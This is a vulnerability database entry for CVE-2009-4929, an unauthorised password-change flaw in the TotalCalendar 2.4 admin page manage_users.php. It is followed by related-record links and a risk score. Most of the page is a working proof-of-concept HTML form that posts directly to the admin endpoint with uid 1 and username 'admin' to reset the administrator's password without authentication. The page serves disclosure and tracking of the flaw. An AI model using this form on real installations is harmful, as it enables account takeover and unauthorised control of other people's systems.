TotalCalendar manage_users.php页面非授权更改口令漏洞

🗓️ 15 Jul 2010 00:00:00Reported by RootType
TotalCalendar 2.4 Remote Password Change Vulnerabilit
Reporter	Title	Published	Views	Family All 6
Circl	CVE-2009-4929	20 Apr 200900:00	–	circl
CVE	CVE-2009-4929	9 Jul 201017:00	–	cve
Cvelist	CVE-2009-4929	9 Jul 201017:00	–	cvelist
EUVD	EUVD-2009-4891	7 Oct 202500:30	–	euvd
NVD	CVE-2009-4929	12 Jul 201013:27	–	nvd
Prion	Authentication flaw	12 Jul 201013:27	–	prion

                                                &lt;title&gt; Powered by: TotalCalendar 2.4 Remote Password Change &lt;/title&gt;
&lt;tr align=&quot;left&quot;&gt;
&lt;td width=&quot;10&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;&lt;span class=&quot;boxHeader&quot;&gt;Cod[3]d By ThE g0bL!N&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;10&quot; align=&quot;right&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/span&gt;&lt;/td&gt;
  
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;/td&gt;
   &lt;/tr&gt;
   &lt;tr&gt;
     &lt;td style=&quot;padding: 0px;&quot;&gt;
  &lt;table width=&quot;100%&quot; height=&quot;100%&quot; cellspacing=&quot;0&quot; style=&quot;padding: 0px;&quot;&gt;
    &lt;tr&gt;
  
   &lt;td height=&quot;100%&quot; style=&quot;padding: 0px;&quot;&gt;
&lt;div align=&quot;left&quot; id=&quot;25_content_area&quot; style=&quot;&quot;&gt;
  &lt;script language=&quot;javascript&quot;&gt;
  // Should we show the pw changing fields or not
  function pwChanger(bool)
  {
   if(bool)
   {
    // Show password changer
    document.getElementById('pwChange').style.display = &quot;none&quot;;
    document.getElementById('pwDontChange').style.display = &quot;&quot;;
    document.getElementById('pwChangerArea').style.display = &quot;&quot;;
    document.getElementById('changePW').value = 1;
   }
   else
   {
    // Hide password changer
    document.getElementById('pwChange').style.display = &quot;&quot;;
    document.getElementById('pwDontChange').style.display = &quot;none&quot;;
    document.getElementById('pwChangerArea').style.display = &quot;none&quot;;
    document.getElementById('changePW').value = 0;
   }
  }
  &lt;/script&gt;
  &lt;br /&lt;br /&gt;&lt;br /&gt;&lt;form method=&quot;POST&quot; action=&quot;http://www.example.com/calendar/admin/manage_users.php&quot;&gt;&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;Save&quot; /&gt;&lt;input id=&quot;changePW&quot; type=&quot;hidden&quot; name=&quot;changePW&quot; value=&quot;0&quot; /&gt;&lt;input type=&quot;hidden&quot; name=&quot;uid&quot; value=&quot;1&quot; /&gt;
  &lt;table align=&quot;center&quot;&gt;
    &lt;tr&gt;
      &lt;td align=&quot;right&quot; valign=&quot;top&quot;&gt;&lt;b&gt;First Name:&lt;/b&gt;&lt;/td&gt;
   &lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;
   &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;input name=&quot;fname&quot; value=&quot;Dos-Dz&quot; size=&quot;33&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align=&quot;right&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Last Name:&lt;/b&gt;&lt;/td&gt;
   &lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;
   &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;input name=&quot;lname&quot; value=&quot;admin&quot; size=&quot;33&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td colspan=&quot;3&quot;&gt;&amp;nbsp;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align=&quot;right&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Username:&lt;/b&gt;&lt;/td&gt;
   &lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;
   &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;input name=&quot;username&quot; value=&quot;admin&quot; size=&quot;25&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td align=&quot;right&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Email Address:&lt;/b&gt;&lt;/td&gt;
   &lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;
   &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;input name=&quot;email&quot; value=&quot;[email protected]&quot; size=&quot;40&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td colspan=&quot;3&quot;&gt;&amp;nbsp;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr id=&quot;pwChange&quot;&gt;
      &lt;td align=&quot;right&quot; valign=&quot;top&quot;&gt;&amp;nbsp;&lt;/td&gt;
   &lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;
   &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;a class=&quot;smallLinkText&quot; onClick=&quot;pwChanger(true);&quot; title=&quot;Click here to reset user's passord...&quot; style=&quot;cursor: pointer;&quot;&gt;Reset Password&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr id=&quot;pwDontChange&quot; style=&quot;display: none;&quot;&gt;
      &lt;td align=&quot;right&quot; valign=&quot;top&quot;&gt;&amp;nbsp;&lt;/td&gt;
   &lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;
   &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;a class=&quot;smallLinkText&quot; onClick=&quot;pwChanger(false);&quot; title=&quot;Don't reset user's password password...&quot; style=&quot;cursor: pointer;&quot;&gt;Do Not Reset Password&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td colspan=&quot;3&quot;&gt;&amp;nbsp;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr id=&quot;pwChangerArea&quot; style=&quot;display: none;&quot;&gt;
      &lt;td colspan=&quot;3&quot;&gt;
   &lt;table width=&quot;100%&quot;&gt;
     &lt;tr&gt;
    &lt;td align=&quot;right&quot; valign=&quot;top&quot;&gt;&lt;b&gt;New Password:&lt;/b&gt;&lt;/td&gt;
    &lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;
    &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;input type=&quot;password&quot; name=&quot;newPW1&quot; size=&quot;20&quot; /&gt;&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
    &lt;td align=&quot;right&quot; valign=&quot;top&quot;&gt;&lt;b&gt;Confirm New Password:&lt;/b&gt;&lt;/td&gt;
    &lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;
    &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;input type=&quot;password&quot; name=&quot;newPW2&quot; size=&quot;20&quot; /&gt;&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
    &lt;td colspan=&quot;3&quot;&gt;&amp;nbsp;&lt;/td&gt;
     &lt;/tr&gt;
   &lt;/table&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td colspan=&quot;3&quot; align=&quot;center&quot;&gt;&lt;input type=&quot;submit&quot; name=&quot;action&quot; value=&quot;Save&quot; /&gt; &lt;input type=&quot;submit&quot; name=&quot;action&quot; value=&quot;Cancel&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;&lt;/form&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;
15 Jul 2010 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.01543
totalcalendar remote password change